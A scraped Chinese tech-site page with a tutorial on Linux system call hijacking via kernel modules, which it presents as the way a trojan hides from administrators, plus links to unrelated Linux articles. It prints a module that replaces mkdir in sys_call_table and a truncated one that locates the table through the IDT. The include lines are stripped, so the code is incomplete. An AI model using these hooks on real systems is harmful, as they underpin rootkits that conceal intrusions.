易截截图软件、单文件、免安装、纯绿色、仅160KB

实现Linux系统调用劫持

关于系统调用劫持
如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:
模块一:
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
        return 0; /*everything is ok, but he new systemcall   does nothing*/
}
int init_module(void) /*module setup*/
{
        orig_mkdir=sys_call_table[SYS_mkdir];
        sys_call_table[SYS_mkdir]=hacked_mkdir;
        return 0;
}
void cleanup_module(void) /*module shutdown*/
{
        sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal  one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如
redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void
*sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面
是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module  automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
  unsigned short offset_low,segment_sel;
  unsigned char reserved,flags;
  unsigned short offset_high;
};
unsigned long *getscTable(){
 


相关文档:

实战Linux Bluetooth编程(三) HCI层编程

1. HCI层协议概述:
HCI提供一套统一的方法来访问Bluetooth底层。如图所示:
从图上可以看出,Host Controller Interface(HCI)  就是用来沟通Host和Module。Host通常就是PC, Module则是以各种物理连接形式(USB,serial,pc-card等)连接到PC上的bluetooth Dongle。
在Host这一端:application,SDP,L2cap等协议 ......

实战Linux Bluetooth编程 (七) SDP协议

Service Discovery Protocol(SDP)提供一种能力,让应用程序有方法发现哪种服务可用以及这种服务的特性。
服务发现协议(SDP或Bluetooth SDP)在蓝牙协议栈中对蓝牙环境中的应用程序有特殊的含意,发现哪个服务是可用的和确定这些可用服务的特征。SDP定义了bluetooth client发现可用bluetooth server服务和它们的特征的方法。 ......

Linux信号简介

Linux信号简介  
1) SIGHUP 本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联.   
2) SIGINT 程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出   
3) SIGQUIT 和SIGINT类似, 但由QUIT字符(通常是Ctrl-\ ......

LINUX下为ff添加flash 插件

首先, 我的FF版本是3.0.16的,从官网(http://get.adobe.com/flashplayer/)上下载.tar.gz包后。。解压出里面的一个*.so文件
件之后,把该文件复制到/usr/lib/mozillia/plugins下,重启ff就OK了。
(以上方法仅供参考,至少我是这样做的,并且成功了,) ......

linux下批量建目录

1:linux下批量将大写目录或文件名改为小写命令
ZIP 先打成包,ZIP -r A  A/*,再UNZIP -LL    A     B            (A/*表示A目录下的所有文件)(A和B都为.zip文件,-LL 变大写为小写的参数)
则,A包里的大写目录和文件 ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号